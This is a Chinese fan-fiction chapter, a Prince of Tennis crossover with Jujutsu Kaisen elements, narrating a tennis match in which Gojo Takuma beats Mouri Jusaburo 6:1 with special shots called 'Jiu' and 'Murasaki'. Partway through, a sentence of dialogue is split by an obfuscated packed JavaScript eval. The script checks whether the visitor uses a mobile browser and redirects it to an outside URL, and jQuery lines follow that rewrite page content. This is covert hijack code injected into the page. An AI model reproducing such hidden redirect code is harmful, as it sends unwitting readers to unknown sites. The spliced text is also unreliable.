“又玩这招？”
毛利寿三郎强迫自己直视那双金色瞳孔，让自己直面即将被猎豹撕咬的恐惧。
这点眼神震慑对于他来说不算什么，反而让他更加兴奋。
他稳定住心神，主动挑衅，“小真你不腻吗？”
“等前辈什么时候能猜对，再来问我这个问题，我会更兴奋~”
头顶的呆毛随着波浪线摇摆，用加倍的挑衅反击回去。
“嘛嘛，这个机会也很少啦，告诉前辈也没关系，毕竟哥哥说要和他一样‘尊敬’前辈啦~”
被‘尊敬’的庵歌姬：小真不要学那个人渣混蛋啊！（尖叫.jpg）
“所以我的答案是——”
“不腻哦！”
“嘭——！”
话音刚落，球随着他手腕的动作，抛向空中，高度恰到好处，引拍动作还是一如既往的流畅不显力量。
甚至可以说是带着一点漫不经心。
球拍划过的轨迹形成一道近乎完美的弧度，这个动作看起来毫无攻击性，甚至带着某种古典的优雅，每个关节都处在最放松又最完美的状态。
一切发生在电光火石之间，却又仿佛被无限拉长。
他重心从后脚向前转移，腰腹细微扭动，球拍触球的一瞬间，没有惊天动地的爆响，只有一声很轻的——
“嗒。”
黄色小球很普通的离开拍面，弧线平缓，旋转温和，甚至速度都不算快。
轻柔得就像春日午后的细雨，雨滴融入水面，掀不起一丝涟漪。
冷汗顺着脸部的线条滑落，毛利寿三郎并没有感到轻松，反而像猫一样寒毛炸开。
——五条拓真的网球越普通，就越让人毛骨悚然。
看不出来，完全看不出来。
到底是轻还是重？完全没有头绪！
只见那双灿金色的眼睛半阖着，睫毛在眼下投出浅浅的阴影，方才那双猎豹似的瞳孔，失去了野兽危险的气息。
带着近乎悲悯的气质，全然专注着网球对面的毛利寿三郎。
仿佛在这一刻，整个世界都褪色了，只剩下他和网球，还有对面的毛利寿三郎。
站在对面的红卷发少年感到一丝凉意，这不是面对强敌的压迫感，反而更像是‘鼓励’。
这是一种很微妙的讯号，就好像在告诉他，‘快看，这颗网球不会对你造成威胁，很轻松就能击回去，要相信你自己的直觉。’
......相信自己吗？那......会是轻球？
毛利寿三郎甩甩迷糊的脑袋。
不，不对，这都是烟雾弹。
那他反其道而行之——
“喝——！我猜是重球！！！”
他低吼一声，在球弹起的瞬间，将全身力量灌注于右臂，肩膀大幅度后拉，拍面垂直对准飞过来的黄色小球。
场外，大家也都纷纷猜测是重是轻。
“......力道和旋转看出来应该是个轻球，但按照拓真的力量和球的轨迹来推断，沉重上旋球的可能性也很大。”
“沉重上旋球吧，拓真的球跟套娃一样，‘你猜我的球是轻球，实际上我的球是重球。’”
两方各持己见，谁也说服不了谁，最终他们看向了伟大的军师——柳莲二。
“柳/莲二，你怎么看？”xN
柳莲二第一次数据分析到CPU都快烧了。
“......数据不足，两种球的概率都是50%。”
“部长你选哪边？”
见柳莲二也给不出有偏向的答案，众人又选择看向幸村精市。
“我吗？我猜是轻球。”幸村精市温声回答。
感受到那一缕若有似无得精神力，总觉得拓真的‘套娃’行为没这么简单。
场内的毛利寿三郎坚定
他瞄准球中心偏下的位置，准备狠狠顶回去。
球拍快速回击，可就在接触球面的刹那，毛利脸色剧变！
糟糕！
那不是预想中的沉重冲击......怎么能这么轻，软绵绵的触感像是一团蓬松的、毫无重量的云雾。
是轻球！
所有灌注的力量此时都扑了空，毛利寿三郎不受控制的向前猛冲。
更可怕的是，在接触的瞬间，球体还带有细微的引导性旋转，顺着他的方向向斜上方带了一下。
球，被抡飞了。
球飞在空中，又高又飘，划出一道完全偏偏离底线目标的弧线，最后落点在铁丝网底边。
“......Out！”真田弦一郎努力找回自己的声音，宣布了这一球的结果。
身为裁判的他，更能感受到这一球的恐怖。
对力道的控制太精准了，就像是呼吸一样的本能。
“啊咧？猜错了哦~”
五条拓真转动球拍，微微歪着头，银白色的呆毛随着动作轻晃。
他灿金色的眼睛睁得圆圆的，盛满了无辜和幸灾乐祸。
“都说毛利前辈不会猜中的啦~”
毛利寿三郎深吸一口气，慢慢直起身，甩了甩有些发麻的手腕，嘴角勾起一抹无奈的苦笑。
“小真你这家伙，‘俄罗斯套娃’又把我刷了啊。”
这是到底是什么‘我预判了你预判的预判’。
“‘俄罗斯套娃’很难听，这招叫‘慈雨’啊前辈。”
毛利寿三郎额角滑下几道黑线。
这家伙还是这么恶趣味，明明这么恐怖的招数用这么温柔的名字。
“......0:30！”
“啪——”
“......0:40！”
“——Out！”
“比分5:0！五条拓真领先！”
还有一局，对方只要再赢一局自己就彻底输了……
被零封啊……真让人不甘心啊……
毛利寿三郎喘着粗气，面对“慈雨”的变化莫测，以及五条拓真直指人心弱点的精神力干扰。
他现在脑子里乱成一团。
......这就是拓真说的本能吗？
......是本能又如何？赢球也是他的本能！
他可是毛利寿三郎！怪物新人毛利寿三郎！
是被承认的“散漫的天才”！
怎么可以被零封！
既然这是拓真的‘本能’，那他也放弃思考，用‘本能’来对付‘本能’。
毛利寿三郎闭上眼睛，浮躁的气息沉浸下来，整个人像是睡着了一样，要是凑近听，还能听见轻微的呼噜声。
“毛利前辈睡着了？”丸井文太惊讶。
“这时毛利的得意技——沉睡状态，能高度集中分析对手的行动，最大程度发挥他的本能。”三桥健太郎眼神复杂。
这小子到底是有多爱睡觉，东京有‘沉睡的小五郎’，他们立海大有‘沉睡的寿三郎’……
这两人不会是亲戚吧？
“原来如此，毛利前辈是想用‘本能’对抗‘本能’。”柳瞬间明白了对方的想法。
“‘本能’对抗‘本能’吗？”幸村精市更加兴趣盎然地盯着球场上的两人，“还真是精彩的比赛啊。”
沉睡状态下的毛利寿三郎像是一台精准的网球机器。
以近乎预知的状态，和凭借着身体超强柔韧性的简洁回击，让‘慈雨’失去了诱导的特性，变成了可以被计算应对的普通回球。
“Game，毛利！”
“比分5:1，五条拓真领先！”
最后一局比赛，拖太久了。
望着计分板上的“30:40”，五条拓真逐渐失去了耐心。
“睡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101206|195720||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着的前辈好像不太喜欢和‘慈雨’玩呢……”五条拓真的语气平静，甚至带着一丝遗憾的叹息。
“那么——”
五条拓真盯着升至最高点的网球。
全身的力量、精神、情绪，仿佛都在这一刻压缩到了手腕与球柄交汇的那个点。
他脸上的笑意消失殆尽，取而代之的是一种极致的、非人的专注与冷漠。灿金色的眼眸空若无人，只倒映着网球和他想要摧毁的球场区域。
骨子里属于咒术师的血液在疯狂叫嚣。
五条拓真一改之前普通的引拍动作。
在众人诧异的眼光中，他的身体极度侧身，好似周遭的力量随着他的动作，全部被抓取压缩，汇集在球拍之上。
他高高扬起球拍，引拍的幅度极大，仿佛在对抗巨大的阻力，将全身上下每一丝力量与动能，都强行压缩凝聚到网面触球的那个奇点。
周围的空气似乎都因这种力量的凝聚而微微扭曲，发出沉重的低鸣。
“轰——！”
“——就让前辈来试试‘茈’的效果！”
一声难以形容的爆裂巨响瞬间炸开！网球离拍的瞬间，拖曳出一道暗紫色扭曲空气的残影！
这是什么恐怖的存在？
毛利寿三郎在球穿越拦网的瞬间就启动了，他的沉睡本能让他做出了最极限的扑球。
但太晚了，球也太重了。
感受到一股狂暴的力量，近乎霸道地撕裂空间。
和预想中的不同，网球没有正常弹起，疯狂的旋转和可怖的力量，让它以极低的姿态向前猛蹿。
最后带着毁灭般的气息，轰破摇摇欲坠的铁丝网挡板。
“哗啦——！”
巨大的撞击声令人牙酸，高耸的铁丝网挡板轰然倒塌，
地面上深深凹陷的焦黑痕迹，如同主人一般张扬。
浑身上下写满“天上地下，惟我独尊”八个大字。
“......”
全场寂静无声。
场外观赛的几人全部呆滞。
这种恐怖的力量是真实存在的吗？！拓真他真的不是大猩猩转世吗？！
望着变成废墟的球场，柳莲二面无表情摁断手中的笔，必须控制他们比赛的力度。
特别是五条拓真！
敬业的真田裁判轻咳两声，率先回过神。
“Game.五条拓真，6:1！”
“五条拓真胜！”
毛利寿三郎强撑着走到网前，拍了拍那搓翘起来的呆毛，“可以啊你小子，什么时候掌握‘茈’的？”
“在没和毛利前辈打球的两个星期里掌握的。”
五条拓真的呆毛艰难竖立，开心地左右摇摆。
还多亏了哥哥的帮忙！
毛利寿三郎：有时候可以不用这么诚实。
“毛利前辈的‘沉睡状态’也成功掌握得更熟练了，非常厉害！”白发少年语气诚挚，真心为毛利寿三郎高兴。
一时间，前后辈两人其乐融融，特别是五条拓真，又回归到原先那副酷呆酷呆的模样。
“……拓真场上场下的变化很明显呢。”幸村精市失笑。
“军师……你说拓真是双重人格的几率有多大？”
柳莲二：“……0%。”
经费……网球部的经费……
“哥哥说这招一定会惊艳所有人，毛利前辈……你觉得呢？”
毛利不语，只是默默往旁边移动两步，让他往后面看。
注意到毛利寿三郎身后的废墟，五条拓真眨眨眼，视线有些心虚地移开。
又不小心和柳莲二的眼神撞到一起。
头顶还在兴奋竖立的呆毛瞬间无力。
“我、我会承担赔偿的。”
柳：I''m watching you！